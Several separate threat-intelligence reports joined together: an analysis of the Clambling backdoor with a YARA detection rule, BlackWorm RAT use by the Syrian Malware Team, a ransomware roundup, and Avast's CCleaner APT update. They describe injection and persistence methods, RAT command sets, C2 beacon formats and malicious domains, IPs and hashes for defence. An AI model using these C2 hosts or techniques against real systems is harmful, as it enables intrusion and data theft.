[HKLM/HKCU]\\Software\\RCS\\Software\\CPanels. After the configuration has been written to the registry, the sample will decrypt it in memory for later use in the sample. Onto the argument parsing, there are a total of four pathways. The first pathway to execute will set up persistence and execute the DLL Side-Loading vulnerable executable with the argument 16. This triggers execution of the second pathway, which will result in the sample spawning msiexec.exe, with the argument 17, and injecting itself into it. As a result, pathway 3 will execute inside the msiexec.exe process, and this will initiate communications with the C2 server, and spawn svchost.exe with an argument based on the current process identifier, once again injecting itself into the newly created process. The fourth and final pathway will execute in svchost.exe. This pathway involves setting up a pipe between the msiexec.exe and svchost.exe process, and initializing the main backdoor features such as the keylogger, screen capture, file manager, etc. This pipe allows the attacker to send commands to the svchost.exe process, to request log files, screen captures, etc. Persistence is set up through the system services if the sample has the correct privileges; otherwise, it utilizes the Run key in the registry. Once persistence has been set up, the sample will spawn another instance of itself, with the argument 16, as mentioned previously. The injection into msiexec.exe is fairly simple, with the sample simply allocating memory in the remote suspended process, writing itself to memory, and patching the entry point to call the entry point of its injected code, passing in the argument 0x120000. Once the overwrite has been completed, the main thread will be resumed, executing the malicious injected payload. The injection into svchost.exe operates similarly, overwriting the entry point with a push and a call to the entry point of the malicious code. Inside the second msiexec.exe process, communication with the C2 server will begin. The sample of Clambling we analyzed contained three main communication protocols: raw UDP, raw TCP, and HTTP. During the investigation, we focused our analysis efforts on the TCP protocol primarily. This utilized WinSock API for communication, including WSASend and WSARecv. The communication-linked function will loop until a command is received to clean up any traces from the machine, at which point the implant will remove any linked files and terminate itself. There are several commands available to an attacker inside the second msiexec.exe process. These include gathering system information such as the current privileges (user privileges, administrator privileges, etc.) and the operating system version information, dropping/updating the current implant, and cleaning any traces of the malware from the infected machine. The clean-up functionality will remove any dropped files to the machine, remove any added registry keys, as well as services if it was running with administrator privileges. While it does not utilize Dropbox as a C2 server, it is still extremely modular and allows the attacker to drop additional samples of malware to an infected machine or execute commands through a reverse shell – such as executing BitLocker to encrypt core servers. There are definitely some code overlaps between Clambling and PlugX, such as the usage of what seems to be a campaign identifier in the packets sent to and from the C2 server: 0x20160101. This same structure can be seen in PlugX samples, which could indicate the developers used source code from the PlugX remote access tool while developing Clambling. Additionally, it seems like the actors behind this particular strain are constantly updating and reworking their tools, as it is a fairly new campaign yet there are several different variants of a specific tool. ## LINKS TO THREAT ACTORS Reading through the TrendMicro report, there were two possible groups linked to the DRBControl campaign: APT27 and Winnti. APT27 was linked to the campaign due to the usage of the HyperBro backdoor in one of the incidents. HyperBro is typically considered to be unique to APT27, rather than a commonly shared tool such as PlugX. This could indicate that APT27 is responsible for the campaign, or that they are beginning to share tools with other cybercrime groups. Winnti had a much stronger link to the campaign, based on similar mutexes and the post-exploitation commands run by the attackers. The post-exploitation commands included a bitsadmin call, which reached out to an IP address linked to Winnti infrastructure. bitsadmin is another Windows tool that allows for file transfers and can be used to download remote files. Additionally, Winnti are known to target computer gaming companies, so the switch from that to gambling companies is not too farfetched to believe - compared to APT27, who commonly target government organizations, defense sectors, and more. In our analysis, we found similarities between our Clambling sample and older confirmed APT27 implants; specifically, the method of using the number of arguments to execute different functions, and the usage of DLL Side-Loading with the main payload stored in a separate file. Unfortunately, this was not enough to confirm the hypothesis that APT27 was behind this campaign, and as we did not have any other samples such as HyperBro, we decided to focus on the possibility of a Winnti link. After searching for code overlap between Winnti samples and our Clambling sample, we discovered a report by Command on an incident that took place back in 2011, that targeted SK Communications, a South Korean tech company. The incident involved the theft of personal information of up to 35 million records and occurred due to the hijacking of a third-party server belonging to ESTSoft. The server in question provided automatic updates to ESTSoft’s archive software, and when hijacked by attackers, provided an update to SK Communications systems that would enable an attacker to perform DLL Side-Loading through the legitimate archive software. Interestingly, one of the Clambling implants discovered by TrendMicro involved a patched copy of HaoZip, a Chinese alternative to WinRAR and WinZIP. We investigated further and came across an excerpt of the configuration block in the main sample used to infiltrate SK Communications. While it is a weak link, we discovered similarities between this configuration block and the configuration block in the Clambling backdoor. This link could indicate possible configuration structure reuse between the two samples. The main similarities between the two configuration blocks lie in the storage of the port just before the IP address, as well as the use of a potential timestamp and timer value. After discovering this link, we investigated the SK Communications incident a bit further. Uploading the Clambling backdoor to Intezer yielded strong links to the PlugX strain of malware, and interestingly, very weak links to the SK Communications sample. From there, we discovered a blog post by Kaspersky which mentioned ESTSoft had been penetrated by Winnti around the same time SK Communications were hacked. As Winnti are known for compromising certificates for signing malware, and the SK Communications incident occurred due to a signed malicious update, it is not farfetched to believe Winnti were responsible for the breach of SK Communications, which in turn could hint towards Winnti being behind the Clambling backdoor. While there certainly is not as much string encryption or API obfuscation occurring in this new backdoor, it is odd that the configurations are very similar in terms of structure, and therefore we decided to share this point regardless, in hopes it can lead to further research. Combining all the links we discovered during our analysis of our incident, it is not out of the question that Winnti is behind the Clambling backdoor, or at least a sub-group operating under the Winnti umbrella. The target in question is not a common target for APT27; however, Winnti is known to target more niche companies such as video game development companies. The configuration block itself has links to an incident back in 2011 that can be linked to Winnti through TTPs and the fact they had infiltrated the company which had their software altered and dropped onto SK Communications systems resulting in the compromise. Additionally, looking at the Winnti infrastructure overlap TrendMicro were able to identify in their report, it is even clearer. However, attribution is not simple to do. Based on the small number of samples we found in the incident, we are only able to speculate at this point. Aside from a sample of PlugX, Mimikatz, Clambling, and two UAC bypass exploits used by the attackers, we did not have much more to go on in terms of post-exploitation tools. We hope by sharing our research, we can help generate more research on this particular group, and any links they may have to other campaigns, both new and old. ## IOCs **Binaries** | TYPE | FILE NAME | FILE HASH (MD5) | |----------------------------------------|---------------------------------------------|------------------------------------------| | LEGITIMATE SIGNED | GoogleUpdate.exe | e1b44a75947137f4143308d566889837 | | GOOGLEUPDATE | debug.exe | | | SIDELOADED MALICIOUS | goopdate.dll | 36b33c0cf94dacf7cee5b9a8143098d1 | | | | c4164efa57204ad32aec2b0f1a12bb3a | | ENCRYPTED CLAMBLING PAYLOAD | English.rtf | aa4f7e8e45915a9f55a8b61604758ba3 | | ENCRYPTED PLUGX PAYLOAD | license.rtf | 878fa03b792d2925d07f4dac4aa34a47 | **C2s** - http://www.kkxx888666[.]com - http://www.betwln520[.]com ## YARA Rules Our YARA rules are publicly available at: https://github.com/Profero-SecurityJoes/yara ```yara rule clambling_backdoor { meta: author = "Daniel Bunce | SecurityJoes" description = "Detect Clambling Backdoor through Strings and Keylogger Encryption Algorithm" strings: $str0 = "[%02d:%02d:%02d %04d-%02d-%02d ] |%s | %s | %s" wide $str1 = "%s | [%04d-%02d-%02d %02d:%02d:%02d] | %s | %s " wide $str2 = "%s\\*.log" wide $str3 = "GetRawInputData" $str4 = "RegisterRawInputDevices" $str5 = "WTSEnumerateSessionsW" $str6 = "CreateEnvironmentBlock" $str7 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" $str8 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide $rtti1 = "PortMap" nocase $rtti2 = "KeyLog" nocase $rtti3 = "Telnet" nocase $rtti4 = "Screen" nocase $rtti5 = "Shell" nocase $rtti6 = "FileManager" nocase $rtti7 = "Plugin" nocase $re1 = /\x80([\xC0-\xFF])(.)\x80([\xC0-\xFF])(.)\x80([\xC0-\xFF])(.)/ condition: uint16(0) == 0x5A4D and 3 of ($str*) and any of ($rtti*) and $re1 } ``` For additional information please reach out to [email protected] or [email protected].
# Conti Ransomware Decryptor, TrickBot Source Code Leaked Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug.
# Connecting the Dots: Syrian Malware Team Uses BlackWorm for Attacks The Syrian Electronic Army has made news for its recent attacks on major communications websites, Forbes, and an alleged attack on CENTCOM. While these attacks garnered public attention, the activities of another group - The Syrian Malware Team - have gone largely unnoticed. The group’s activities prompted us to take a closer look. We discovered this group using a .NET based RAT called BlackWorm to infiltrate their targets. The Syrian Malware Team is largely pro-Syrian government, as seen in one of their banners featuring Syrian President Bashar al-Assad. Based on the sentiments publicly expressed by this group, it is likely that they are either directly or indirectly involved with the Syrian government. Further, certain members of the Syrian Malware Team have ties to the Syrian Electronic Army (SEA) known to be linked to the Syrian government. This indicates that the Syrian Malware Team may also be possibly an offshoot or part of the SEA. ## BlackWorm Authorship We found at least two distinct versions of the BlackWorm tool, including an original/private version (v0.3.0) and the Dark Edition (v2.1). The original BlackWorm builder was co-authored by Naser Al Mutairi from Kuwait, better known by his online moniker 'njq8'. He is also known to have coded njw0rm, njRAT/LV, and earlier versions of H-worm/Houdini. We found his code being used in a slew of other RATs such as Fallaga and Spygate. BlackWorm v0.3.0 was also co-authored by another actor, Black Mafia. Within the underground development forums, it’s common for threat actors to collaborate on toolsets. Some write the base tools that other attackers can use; others modify and enhance existing tools. The BlackWorm builder v2.1 is a prime example of actors modifying and enhancing current RATs. After njq8 and Black Mafia created the original builder, another author, Black.Hacker, enhanced its feature set. As an interesting side note, 'njq8' took down his blog in recent months and announced a cease in all malware development activity on his Twitter and Facebook account, urging others to stop as well. This is likely a direct result of the lawsuit filed against him by Microsoft. ## BlackWorm RAT Features The builder for BlackWorm v0.3.0 is fairly simple and allows for very quick payload, but doesn’t allow any configuration other than the IP address for command and control (C2). BlackWorm v0.3.0 supports the following commands between the controller and the implant: - **ping**: Checks if victim is online - **closeserver**: Exits the implant - **restartserver**: Restarts the implant - **sendfile**: Transfer and run file from server - **download**: Download and run file from URL - **ddos**: Ping flood target - **msgbox**: Message interaction with victim - **down**: Kill critical windows processes - **blocker**: Block specified website by pointing resolution to 127.0.0.1 - **logoff**: Logout out of windows - **restart**: Restart system - **shutdown**: Shutdown system - **more**: Disable task manager, registry tools, system restore. Also blocks keyboard and mouse input - **hror**: Displays a startling flash video In addition to the features supported by the command structure, the payload can: - Seek and kill no-ip processes DUC30 and DUC20 - Disable Task Manager to kill process dialog - Copy itself to USB drives and create autorun entries - Copy itself to common peer-to-peer (P2P) share locations - Collect system information such as OS, username, hostname, presence of camera, active window name, etc., to display in the controller - Kill the following analysis processes (if found): - procexp - SbieCtrl - SpyTheSpy - SpeedGear - Wireshark - MBAM - ApateDNS - IPBlocker - cPorts - ProcessHacker - AntiLogger The Syrian Malware Team primarily uses another version of BlackWorm called the Dark Edition (v2.1). BlackWorm v2.1 was released on a prolific underground forum where information and code is often shared, traded, and sold. BlackWorm v2.1 has the same abilities as the original version and additional functionality, including bypassing UAC, disabling host firewalls, and spreading over network shares. Unlike its predecessor, it also allows for granular control of the features available within the RAT. These additional controls allow the RAT user to enable and disable features as needed. Binary output can also be generated in multiple formats, such as .exe, .src, and .dll. ## Syrian Malware Team We observed activity from the Syrian Malware Team going as far back as Jan. 1, 2011. Based on Facebook posts, they are allegedly directly or indirectly involved with the Syrian government. Their Facebook page shows they are still very active, with a post as recent as July 16th, 2014. The Syrian Malware Team has been involved in everything from profiling targets to orchestrating attacks themselves. There are seemingly multiple members, including: - hawk.syrian.9 - kays.syr Some of these people have posted malware-related items on Facebook. While looking for Dark Edition samples, we discovered a binary named svchost.exe (MD5: 015c51e11e314ff99b1487d92a1ba09b). We quickly saw indicators that it was created by BlackWorm Dark Edition. The malware communicated out to 178.44.115.196, over port 5050, with a command structure of: ``` !0/j|n\12121212_64F3BF1F/j|n\{Hostname}/j|n\{Username}/j|n\USA/j|n\Win 7 Professional SP1 x86/j|n\No/j|n\2.4.0 [ Dark Edition]/j|n\/j|n\{ActiveWindowName}/j|n\[endof] ``` When looking at samples of Dark Edition BlackWorm being used by the Syrian Malware Team, the strings “Syrian Malware,” or “Syrian Malware Team” are often used in the C2 communications or within the binary strings. Additional pivoting off of svchost.exe brought us to three additional samples apparently built with BlackWorm Dark Edition. E.exe (MD5: a8cf815c3800202d448d035300985dc7), a binary that drew our attention, looked to be a backdoor with the Syrian Malware strings within it. When executed, the binary beacons to aliallosh.sytes.net on port 1177. This C2 has been seen in multiple malware runs often associated with Syria. The command structure of the binary is: ``` !0/j|n\Syrian Malware/j|n\{Hostname}/j|n\{Username}/j|n\USA/j|n\Win 7 Professional SP1 x86/j|n\No/j|n\0.1/j|n\/j|n\{ActiveWindowName}/j|n\[endof] ``` Finally, pivoting to another sample, 1gpj.srcRania (MD5:f99c15c62a5d981ffac5fdb611e13095), the same strings were present. The string "Rania" used as a lure was in Arabic and likely refers to the prolific Queen Rania of Jordan. The traffic is nearly identical to the other samples we identified and tied to the Syrian Malware Team. ## Conclusion Determining which groups use which malware is often very difficult. Connecting the dots between actors and malware typically involves looking at binary code, identifying related malware examples associated with those binaries, and reviewing infection vectors, among other things. This blog presents a prime example of the process of attribution. We connected a builder with malware samples and the actors/developers behind these attacks. This type of attribution is key to creating actionable threat intelligence to help proactively protect organizations.
# New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker **February 5, 2021** In this entry, we give an overview of new ransomware discoveries. This includes a new ransomware family dubbed Seth-Locker, and developments in the variants Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Ransomware is in a constant state of development — this is true not only of ransomware families that are big-game hunters or ransomware families that have a targeted approach in their campaigns, but also for new ones. ## New ransomware Seth-Locker We discovered a new ransomware named Seth-Locker at large. An interesting feature of this new ransomware is its inclusion of a few backdoor routines in its malicious files, together with its ransom routine. These backdoor routines that have been observed so far are the following: - `open_link` for reading content from the command-and-control (C&C) server - `down_exec` for downloading and executing a file - `shell` to run a command line shell command - `locker` to run the ransomware routine - `kill` to terminate a process or itself Once executed, the ransomware follows the typical routine of encrypting files and appending them with the suffix `.seth`, before dropping a ransom note. As its code contains several rookie mistakes and oversights, we surmise that it is still under development. For example, malware commands are easily visible and repetitions of file extensions to be checked are in its code. Additionally, another tell-tale sign that it is still under development is that it lacks sophistication in hiding its routines and techniques. In the future, however, it would be possible to encounter an improved version of this ransomware. ## Developments in Babuk Locker Babuk Locker is also a new ransomware family and the first enterprise ransomware discovered in 2021. It initially identified itself as Vasa Locker in December 2020. Babuk Locker is proving to be a fast-evolving and active ransomware. Early into 2021, it had already attacked several companies, utilizing the strategy of threatening to expose stolen information. Even as a new ransomware-as-a-service (RaaS), its operations follow the methods of known targeted ransomware attacks. Its initial access likely involves compromised user accounts, exploitation of vulnerabilities, or malspam. Threat actors then move laterally to make an inventory of the victim’s network and important files since they exfiltrate data as part of their double extortion method. Afterward, they finally proceed to deploying their ransomware payload. In addition, they eventually post the exfiltrated data on a blog or a Tor site that they operate. Babuk Locker utilizes a ChaCha8 stream cipher for encryption and Elliptic-curve Diffie-Hellman (ECDH) for key generation, making the recovery of files without gaining access to the private key highly unlikely. What’s notable about Babuk Locker is the progression of its attacks and its threat actors’ use of a Tor site to communicate with their victims. The oldest and first sample that we observed involved sending a typical ransom email to their target. Meanwhile, the second variant of the ransomware that we encountered used a Tor site, which showed a screenshot of the data that the threat actors had stolen from their target. Based on this development, we can see how the group behind Babuk Locker is making their extortion methods more personalized and aggressive. Certain aspects of Babuk Locker have similarities with other known ransomware. In particular, the ransom note is striking as it matches that used by DarkSide. This suggests that these two ransomware families could be linked together. With regard to techniques, Babuk Locker also seems to have taken a page out of older ransomware like Conti, Ryuk, and Ragnar Locker. For example, like these older malware, it terminates processes and services that are related to applications, backup software, endpoint security, and servers. Given how effective these known ransomware are, it is no surprise that Babuk Locker has mimicked some of their techniques. Babuk Locker’s leak site offers more clues. For example, we observed how the leak site has been modified recently to announce that Babuk has now been rebranded to “Babyk.” The site also claims that the group behind the variant is not malicious, and that they aim to expose security issues in organizations. Interestingly, the leak site also lists entities that are excluded from the group’s scope of interest. This list was present before the modification and is the first time that we have observed a ransomware variant showing this kind of discretion. Based on its code, the latest sample that we saw is already the third version of Babuk, which involves a more personalized ransom note that directly addresses the victim organization by name. It is likely that we will see more of this malware in the future. ## Possible TeslaCrypt disabling system security The variant described here arrives through a spam email, which downloads a malicious binary that we detected as the ransomware TeslaCrypt. While Babuk is new, TeslaCrypt is an older ransomware family. Notably, TeslaCrypt’s key was released in 2016 so it should now be considered a defunct ransomware; however, a new variant seems to have emerged (detected as Ransom.MSIL.TESLACRYPT.THABGBA). At present, we do not have enough information to say why the ransomware has made a reappearance. Additionally, we are not ruling out the possibility that the sample is simply a copycat version of TeslaCrypt. Whatever the case might be, a notable feature of this malware is how it downgrades its victim’s security. The malware initially disables Windows Defender before terminating a very long list of around 300 other services such as debuggers and security-related applications. Authors of this variant seem to be aiming to narrow down the availability of a recovery method for their victim’s system. For a ransomware variant, we very rarely see this many security-related processes and applications being closed in a campaign. ## Developments for Maoloa The Maoloa ransomware was first seen in 2019. It is also one of the malware used in an attack on hospitals in Romania in July 2019. Maoloa has also been linked to the older GlobeImposter ransomware. A newer sample that we encountered (detected as Ransom.Win32.MAOLOA.THAAHBA) was packaged inside a 7-Zip SFX file. This variant also used the legitimate tools certutil.exe and Autoit script. All of these additions are evasion tactics that we have not observed in previous variants. The older Maoloa variants that we encountered used a bare, unpackaged binary. Once executed, the self-extracting archive carrying the Maoloa ransomware payload will drop four files. Among these files is the Maoloa ransomware which, once decrypted, will proceed with its encryption routine and dropping of ransom notes. Similar to past variants, this Maoloa sample’s appended extension is “.Globeimposter-Alpha865qqz” despite belonging to the Maoloa ransomware family and not GlobeImposter’s. ## CobraLocker disguised as Among Us Finally, part of our notable discoveries is a CobraLocker variant (detected as Ransom.MSIL.COBRALOCKER.B) that was found at large and that uses the popular game Among Us as a disguise to lure users. The file name used by this ransomware is “AmongUsHorrorEdition.” If executed, it will run an image in line with the “horror” aspect of the file and will display the text “Do you want to play?” It will then run typical malicious activities, such as terminating cmd.exe, regedit.exe, and Process Hacker, as well as adding registries for persistence. ## How to secure against ransomware? As shown by these ransomware families, threat actors will continue to hone their malware to ensure the success of their campaigns, be it by placing heavier pressure on their victims to comply with their demands or simply better disguising their malicious activities to evade detection. Ransomware of the present is undergoing rapid changes that need to be observed and prepared for. Here are measures that users and organizations can use to protect themselves from ransomware: - Create an effective backup strategy by following the 3-2-1 rule. - Adopt strong passwords throughout the network. - Consider network segmentation to separate important processes and systems from the wider access network. - Increase both your awareness and the awareness of the members of your organization on how ransomware spreads (i.e., through spammed emails and attachments). - Monitor and audit network traffic for any suspicious behaviors or anomalies. ## Trend Micro solutions Trend Micro solutions such as the Smart Protection Suite and Trend Micro™ Worry-Free™ Business Security Services solutions, which have behavior monitoring capabilities, can protect users and businesses from these types of threats by detecting malicious files, scripts, and messages as well as blocking all related malicious URLs. Our XGen™ security provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. It infuses high-fidelity machine learning (ML) with other detection technologies and global threat intelligence for comprehensive protection from advanced malware. ## Indicators of Compromise (IOCs) Detection name | SHA-256 --- | --- Ransom.MSIL.COBRALOCKER.AA | 88d55af8d84c1909e9ccf962e59f71dacf158eb9fd671920a23b7390103bd58f Ransom.MSIL.COBRALOCKER.AA | ec621d94c847976baa8b3ead1bb98c2a0951432ba21181f09fb1c55dcddd98c3 Ransom.MSIL.COBRALOCKER.B | ba28a0615626a40254c4e4167e0b3f8bc82bdd83f42b225605c34268c38ef0b5 Trojan.MSIL.COBRALOCKER.A | bdcc8754a9f75c2fe1f909af669ac59f25d635139f3634f525e4189db604e3f0 Trojan.MSIL.COBRALOCKER.A | ff53667fe3745601d6d04668cd854813f650087be2872876de71d412b70eb0cd Ransom.MSIL.TESLACRYPT.THABGBA | dcd725c415cebc7df170edf49af18d6f86e76ef75185737de5959405f4aecc56 Ransom.Win32.BABUK.YEBA-THAAEBA | 704a0fa7de19564bc743fb68aa0652e38bf86e8ab694bc079b15f945c85f4320 Ransom.Win32.BABUK.YEBA-THAAEBA | 8140004ff3cf4923c928708505754497e48d26d822a95d63bd2ed54e14f19766 Ransom.Win32.BABUK.YEBA-THAAEBA | afcf265a1dcd9eab5aab270d48aa561e4ddeb71c05e32c857d3b809bb64c0430 Ransom.Win32.BABUK.YNBA-THABGBA | 3dda3ee9164d6815a18a2c23651a53c35d52e3a5ad375001ec824cf532c202e6 Ransom.Win32.BABUK.YNBA-THABGBA | c5167053129bd4a5542cfef9e739b0443e22e184cb4c0b57c049b448f030cf15 Ransom.Win32.MAOLOA.THAAHBA | 94be0c4af61e979ad2064544708807fcdfc4b63115ed885ed0067ece04630a7b Ransom.Win64.SETHLOCKER.THABEBAA | 58c852525bf3bea185db34a79c2c5640c02f8291cdbdbe8dd7c0a9d4682f4b2c Trojan.W97M.TESLACRYPT.THABGBA | c7e40628fb6beb52d9d73a3b3afd1dca5d2335713593b698637e1a47b42bfc71
# Additional Information Regarding the Recent CCleaner APT Security Incident ## New Analysis from the Avast Threat Labs We would like to update our customers and the general public on the latest findings regarding the investigation of the recent CCleaner security incident. As published in our previous blog posts, analysis of the CnC server showed that the incident was in fact an Advanced Persistent Threat (APT) attack, targeting specific high-tech and telecommunications companies. Despite the fact that CCleaner is a consumer product, the purpose of the attack was not to attack consumers and their data; instead, the CCleaner customers were used to gain access to corporate networks of select large enterprises. Today, we are going to disclose new facts about the incident that we received since the last public update. ## Introduction The CnC server contained important evidence in terms of the exact list of hosts with which the CnC server communicated, and the list of hosts to which it actually sent the 2nd stage payload (i.e., which actually became compromised in the sense that they could execute malicious code sent by the attacker). The problem was that due to a crash of the database, there were only about 3.5 days’ worth of data. Our hypothesis was that this occurred because of the server running out of disk space on September 10, leading the operator to a full rebuild of the database. However, further investigation revealed that the attackers backed up the data from the crashed CnC server to another server before rebuilding the database. Thanks to the continued work of the Avast Threat Labs team and the help from US law enforcement personnel, we were able to access this backup server. The server’s IP address was 216.126.225.163, it featured the same self-signed SSL certificate (issued for speccy.piriform.com) and had a typical “LAMP” configuration: CentOS release 6.9 with Apache 2.2.15, PHP 5.3.3, and a MySql database that turned out to contain data going back to August 18. Access to this backup server allowed us to assemble what we believe is the complete database (the only missing piece is a 40-hour window between 2017-09-10 19:03:18 and 2017-09-12 9:58:47 UTC, i.e., between the crash of the original CnC DB and the creation of the new one; it is not clear how the CnC server behaved in that period). The main findings from the complete database are as follows: - The total number of connections to the CnC server was 5,686,677. - The total number of unique PCs (unique MAC addresses) that communicated with the CnC server was 1,646,536. - The total number of unique PCs that received the 2nd stage payload was 40. ## PCs and Companies that Received the 2nd Stage Payload The most important piece of information is the content of the “OK” table in the database, which lists the machines that successfully received the 2nd stage payload and were therefore really “infected” with potentially malicious code (although we haven’t been able to isolate that code yet, as it probably came from additional layers which are still the focus of additional investigation). We have reached out to all these companies, with the aim of providing them with detailed information about the incident, a list of impacted computers, and additional IOCs that can be used to detect the infection and take corrective actions. Worth noting is that about 40 PCs out of 2.27M had the compromised version of CCleaner product installed, i.e., 0.0018% of the total—a truly targeted attack. The list of companies (domains) evolved over time, and the detailed logs found on the SQL database server suggest that the bad actors were trying to identify suitable hosts not just by a pre-determined list, but also by looking into what kind of PC hosts have actually been available to them in the sense that they had PCs with CCleaner connecting to the CnC. Following is a list of targets that were of potential interest, but were not attacked by the 2nd stage payload: Clearly, the logs also indicate that the attackers were looking for additional high-profile companies to target, some of them potentially leading to additional supply-chain attacks (Carriers / ISPs, server hosting companies, and domain registrars). Interestingly enough, the two corporations with the highest number of impacted PCs (cht.com.tw and nsl.ad.nec.co.jp) were actually missing in the list of targeted domains on the CnC server at the time it was taken down. This suggests that the attackers actively removed these companies from the list after the payload had been delivered. ## Origin of the Attacker In the previous post, we talked about the fact that there were multiple clues suggesting that the attack may be originating from China, including multiple instances of PHP code found on the CnC server, the myPhpAdmin logs, and the similarity of certain code snippets to a previous APT attack attributed to China. The problem with all these indications is that they are all very easy to forge: they might have been added simply to make investigation more difficult and to hide the true origin. During our investigation, we tried to take a slightly different approach. We noticed that there have been a relatively large number of operator connections to the CnC server; the server apparently required a lot of manual maintenance work. In total, the operator connected to the server 83 times (plus 17 more times to the backup server), to do various things from installing and setting up the systems to monitoring it and resolving respective issues, such as to fix the crashed database. This made us think that this was in fact someone’s ‘day job’. The hypothesis was further supported by the fact that there were many fewer connections to the server on Saturdays, and almost no connections on Sundays. Now, with that hypothesis in place, the obvious thing to do was to plot the operator connections to the server in a chart and try to determine the time zone in which the attacker resided. The result looked like this: There is a clear pattern, which is in fact quite typical for IT workers: an 8-hour working day, followed by 4-5 hours of inactivity in the afternoon/evening and then additional connections during a 5-hour block in the evenings. Given the typical working day starts at 8AM or 9AM, this leads us to the most likely location of the attacker in the time zone UTC + 4 or UTC + 5, leading us to Russia or the eastern part of Middle East / Central Asia and India. Furthermore, given the clear lack of traffic on Saturdays and Sundays, it would indicate that it wasn’t an Arabic country. Another possible explanation is that there were multiple people involved in the operation, each working from a different time zone. It is worth noting that, despite there being a large number of tech / telco companies in China, Russia, and India, there are no companies from these countries on the list of companies targeted by this attack. ## Investigation Process and Next Steps We are continuing our investigation of the incident: working with law enforcement, partner companies, and a professional firm specializing in incident response operations to move quickly in the right direction. Our security team has reached out to all companies proven to be part of the 2nd stage, and we’re committed to working with them to resolve the issue fully. Obviously, the fact that the 2nd stage payload has been delivered to a computer connected to a company network doesn’t mean that the company network has been compromised. However, proper investigation is in order and necessary to fully understand the impact and take remediation actions. From our side, we continue working on getting access and analyzing the additional stages of the payload (post stage 2). We will post an update as soon as we learn more. ## IOCs The following is an updated list of IOCs. ### Files **1st stage** - 04bed8e35483d50a25ad8cf203e6f157e0f2fe39a762f5fbacd672a3495d6a11 - CCleaner - installer (v5.33.0.6162) - 0564718b3778d91efd7a9972e11852e29f88103a10cb8862c285b924bc412013 - CCleaner - installer (v5.33.0.6162) - 1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff - CCleaner - installer (v5.33.0.6162) - 276936c38bd8ae2f26aab14abff115ea04f33f262a04609d77b0874965ef7012 - CCleaner - installer (v5.33.0.6162) - 2fe8cfeeb601f779209925f83c6248fb4f3bfb3113ac43a3b2633ec9494dcee0 - CCleaner - installer (v5.33.0.6162) - 3c0bc541ec149e29afb24720abc4916906f6a0fa89a83f5cb23aed8f7f1146c3 - CCleaner - installer (v5.33.0.6162) - 4f8f49e4fc71142036f5788219595308266f06a6a737ac942048b15d8880364a - CCleaner - installer (v5.33.0.6162) - 7bc0eaf33627b1a9e4ff9f6dd1fa9ca655a98363b69441efd3d4ed503317804d - CCleaner - installer (v5.33.0.6162) - a013538e96cd5d71dd5642d7fdce053bb63d3134962e2305f47ce4932a0e54af - CCleaner - installer (v5.33.0.6162) - bd1c9d48c3d8a199a33d0b11795ff7346edf9d0305a666caa5323d7f43bdcfe9 - CCleaner - installer (v5.33.0.6162) - c92acb88d618c55e865ab29caafb991e0a131a676773ef2da71dc03cc6b8953e - CCleaner - installer (v5.33.0.6162) - e338c420d9edc219b45a81fe0ccf077ef8d62a4ba8330a327c183e4069954ce1 - CCleaner - installer (v5.33.0.6162) - 36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0bfdb2e9 - CCleaner.exe (32-bit v5.33.0.6162) - 6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9 - CCleaner.exe (32-bit v5.33.0.6162) - a3e619cd619ab8e557c7d1c18fc7ea56ec3dfd13889e3a9919345b78336efdb2 - CCleanerCloud - installer (32-bit v1.7.0.3191) - 0d4f12f4790d2dfef2d6f3b3be74062aad3214cb619071306e98a813a334d7b8 - CCleanerCloudAgent.exe (32-bit v1.7.0.3191) - 9c205ec7da1ff84d5aa0a96a0a77b092239c2bb94bcb05db41680a9a718a01eb - CCleanerCloudAgentHealthCheck.exe (32-bit v1.7.0.3191) - bea487b2b0370189677850a9d3f41ba308d0dbd2504ced1e8957308c43ae4913 - CCleanerCloudTray.exe (32-bit v1.7.0.3191) - 3a34207ba2368e41c051a9c075465b1966118058f9b8cdedd80c19ef1b5709fe - 1st stage payload DLL found in CCleaner - 19865df98aba6838dcc192fbb85e5e0d705ade04a371f2ac4853460456a02ee3 - 1st stage payload DLL found in CCleanerCloud **2nd stage** - dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83 - 2nd stage payload DLL (GeeSetup_x86.dll) - a414815b5898ee1aa67e5b2487a11c11378948fcd3c099198e0f9c6203120b15 - loader of the 2nd stage payload (64-bit) - 7ac3c87e27b16f85618da876926b3b23151975af569c2c5e4b0ee13619ab2538 - loader of the 2nd stage payload (32-bit) - 4ae8f4b41dcc5e8e931c432aa603eae3b39e9df36bf71c767edb630406566b17 - inner DLL of the 2nd stage payload (64-bit) - b3badc7f2b89fe08fdee9b1ea78b3906c89338ed5f4033f21f7406e60b98709e - inner DLL of the 2nd stage payload (32-bit) - a6c36335e764b5aae0e56a79f5d438ca5c42421cae49672b79dbd111f884ecb5 - inner DLL of the 2nd stage payload (32-bit) ### CnC IPs - 216.126.225.148 - CnC of the 1st stage payload - 216.126.225.163 - backup server of CnC 216.126.225.148 ### URLs (all used for obtaining IP address of the 2nd stage CnC) - get.adoble[.]com - https://github[.]com/search?q=joinlur&type=Users&u=✓ - https://en.search.wordpress[.]com/?src=organic&q=keepost ### DGA (used by the 1st stage payload) - ab8cee60c2d.com - valid for 2017-08 - ab1145b758c30.com - valid for 2017-09 - ab890e964c34.com - valid for 2017-10 - ab3d685a0c37.com - valid for 2017-11 - ab70a139cc3a.com - valid for 2017-12 - ab3c2b0d28ba6.com - valid for 2018-01 - ab99c24c0ba9.com - valid for 2018-02 - ab2e1b782bad.com - valid for 2018-03 - ab253af862bb0.com - valid for 2018-04 - ab2d02b02bb3.com - valid for 2018-05 - ab1b0eaa24bb6.com - valid for 2018-06 - abf09fc5abba.com - valid for 2018-07 - abce85a51bbd.com - valid for 2018-08 - abccc097dbc0.com - valid for 2018-09 - ab33b8aa69bc4.com - valid for 2018-10 - ab693f4c0bc7.com - valid for 2018-11 - ab23660730bca.com - valid for 2018-12 ### Windows Registry - HKLM\SOFTWARE\Piriform\Agomo\MUID - used by the 1st stage payload - 